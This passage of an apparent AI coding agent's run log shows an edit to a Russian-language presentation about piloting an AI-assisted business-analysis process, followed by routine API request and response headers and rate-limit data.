\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n469-\\n470-> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n471-> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n472-\\n473-**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n474-\\n475-```text\\n476-Three illuminated switches on a clean control panel, two already in\\n477-the on position and one waiting; behind the panel a calm, well-lit\",\n[2026-09-29T07:51:55.321Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:55.321Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:55.321Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:55.321Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:51:55.321Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:51:55.321Z] [INFO]       \"files\": [\n[2026-09-29T07:51:55.321Z] [INFO]         {\n[2026-09-29T07:51:55.321Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:55.321Z] [INFO]           \"hunks\": [\n[2026-09-29T07:51:55.321Z] [INFO]             {\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldStart\": 52,\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newStart\": 52,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:51:55.321Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:55.321Z] [INFO]                 \" | 5. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" | 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f | 8 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" | 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+| \u2014 (\u043f\u0443\u0442\u044c \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f) | 10 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \u0421\u043b\u0430\u0439\u0434 4 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0441\u0432\u0435\u0440\u0445 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0440\u044b\u0432 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 6 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \u0442\u0435\u0437\u0438\u0441, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0432\u044b\u0432\u043e\u0434 \u0438\u0437 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\"\n[2026-09-29T07:51:55.321Z] [INFO]               ]\n[2026-09-29T07:51:55.321Z] [INFO]             },\n[2026-09-29T07:51:55.321Z] [INFO]             {\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldStart\": 452,\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldLines\": 19,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newStart\": 452,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newLines\": 20,\n[2026-09-29T07:51:55.321Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 10. \u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4, \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" **\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 1:** \u0434\u043e\u0441\u0442\u0443\u043f \u043a Mango AI \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  runner'\u0430 \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 2:** \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 10 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 contact-center \u0441 \u0437\u0430\u043c\u0435\u0440\u043e\u043c\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  `M-1`\u2026`M-4` \u0434\u043e \u0438 \u043f\u043e\u0441\u043b\u0435.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 3:** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043c\u0435\u043d\u044c\u0448\u0435 95%\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-- \u0427\u0442\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u043e\u0442\u0434\u0430\u0451\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" > **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" > \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\"\n[2026-09-29T07:51:55.321Z] [INFO]               ]\n[2026-09-29T07:51:55.321Z] [INFO]             },\n[2026-09-29T07:51:55.321Z] [INFO]             {\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldStart\": 482,\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newStart\": 483,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:55.321Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" [\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0440\u0435\u0434\u0430\u043c \u0438 \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md),\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+[\u0431\u044d\u043a\u043b\u043e\u0433 B-211\u2026B-218](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md).\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \"\n[2026-09-29T07:51:55.321Z] [INFO]               ]\n[2026-09-29T07:51:55.321Z] [INFO]             }\n[2026-09-29T07:51:55.321Z] [INFO]           ]\n[2026-09-29T07:51:55.321Z] [INFO]         }\n[2026-09-29T07:51:55.321Z] [INFO]       ],\n[2026-09-29T07:51:55.321Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:51:55.321Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:51:55.321Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\"\n[2026-09-29T07:51:55.321Z] [INFO]       ]\n[2026-09-29T07:51:55.321Z] [INFO]     }\n[2026-09-29T07:51:55.321Z] [INFO]   }\n[2026-09-29T07:51:55.321Z] [INFO] }\n[2026-09-29T07:51:55.368Z] [STDOUT] [log_a210e5] sending request {\n[2026-09-29T07:51:55.374Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:55.378Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:55.382Z] [STDOUT]   options: {\n[2026-09-29T07:51:55.386Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:55.394Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:55.397Z] [STDOUT]     body: {\n[2026-09-29T07:51:55.400Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:55.403Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:55.405Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:55.408Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:55.413Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:55.418Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:55.423Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:55.428Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:55.431Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:55.434Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:55.437Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:55.439Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:55.441Z] [STDOUT]     },\n[2026-09-29T07:51:55.443Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:55.446Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:55.449Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:55.452Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:55.457Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:55.459Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:55.462Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:55.464Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:55.467Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:55.471Z] [STDOUT]     },\n[2026-09-29T07:51:55.475Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:55.478Z] [STDOUT]   },\n[2026-09-29T07:51:55.482Z] [STDOUT]   headers: {\n[2026-09-29T07:51:55.489Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:55.493Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:55.497Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:55.502Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:55.505Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:55.509Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:55.513Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:55.516Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:55.526Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:55.535Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1732\",\n[2026-09-29T07:51:55.537Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:55.539Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:55.541Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:55.545Z] [STDOUT]     \"x-client-request-id\": \"f6e470e0-2b15-4d22-97b9-25f7ed3ef85d\",\n[2026-09-29T07:51:55.548Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:55.551Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:55.553Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:55.555Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:55.558Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:55.559Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:55.563Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:55.567Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:55.569Z] [STDOUT]   },\n[2026-09-29T07:51:55.570Z] [STDOUT] }\n[2026-09-29T07:51:56.279Z] [STDOUT] [log_a210e5, request-id: \"req_011CfXNFYqFUA8hDaY8KWWLF\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 911ms\n[2026-09-29T07:51:56.282Z] [STDOUT] [log_a210e5] response start {\n[2026-09-29T07:51:56.286Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:56.288Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:56.292Z] [STDOUT]   headers: {\n[2026-09-29T07:51:56.295Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:56.298Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:56.302Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:56.304Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:56.308Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:56.313Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:56.317Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:56.322Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:56.329Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:56.339Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:56.351Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:56.356Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:56.359Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:56.362Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:56.365Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:56.369Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:56.373Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:56.378Z] [STDOUT]     \"cf-ray\": \"a42967cb1fec01ff-CDG\",\n[2026-09-29T07:51:56.389Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:56.394Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:56.398Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:56.400Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:56.404Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:56 GMT\",\n[2026-09-29T07:51:56.412Z] [STDOUT]     \"request-id\": \"req_011CfXNFYqFUA8hDaY8KWWLF\",\n[2026-09-29T07:51:56.419Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:56.424Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:56.432Z] [STDOUT]     traceresponse: \"00-4967e09a595cbc5e0e3e3207e651ff48-996e00ccdf319462-01\",\n[2026-09-29T07:51:56.439Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:56.442Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:56.445Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:56.449Z] [STDOUT]   },\n[2026-09-29T07:51:56.451Z] [STDOUT]   durationMs: 911,\n[2026-09-29T07:51:56.455Z] [STDOUT] }\n[2026-09-29T07:51:56.460Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:56.463Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:56 GMT\",\n[2026-09-29T07:51:56.473Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:56.478Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:56.481Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:56.483Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:56.488Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:56.491Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:56.497Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:56.522Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:56.526Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:56.535Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:56.547Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:56.556Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:56.559Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:56.563Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:56.566Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:56.569Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:56.572Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:56.580Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:56.583Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:56.586Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:56.589Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:56.592Z] [STDOUT]   \"request-id\": \"req_011CfXNFYqFUA8hDaY8KWWLF\",\n[2026-09-29T07:51:56.596Z] [STDOUT]   \"traceresponse\": \"00-4967e09a595cbc5e0e3e3207e651ff48-996e00ccdf319462-01\",\n[2026-09-29T07:51:56.600Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:56.603Z] [STDOUT]   \"anthropic-workspace-id\": 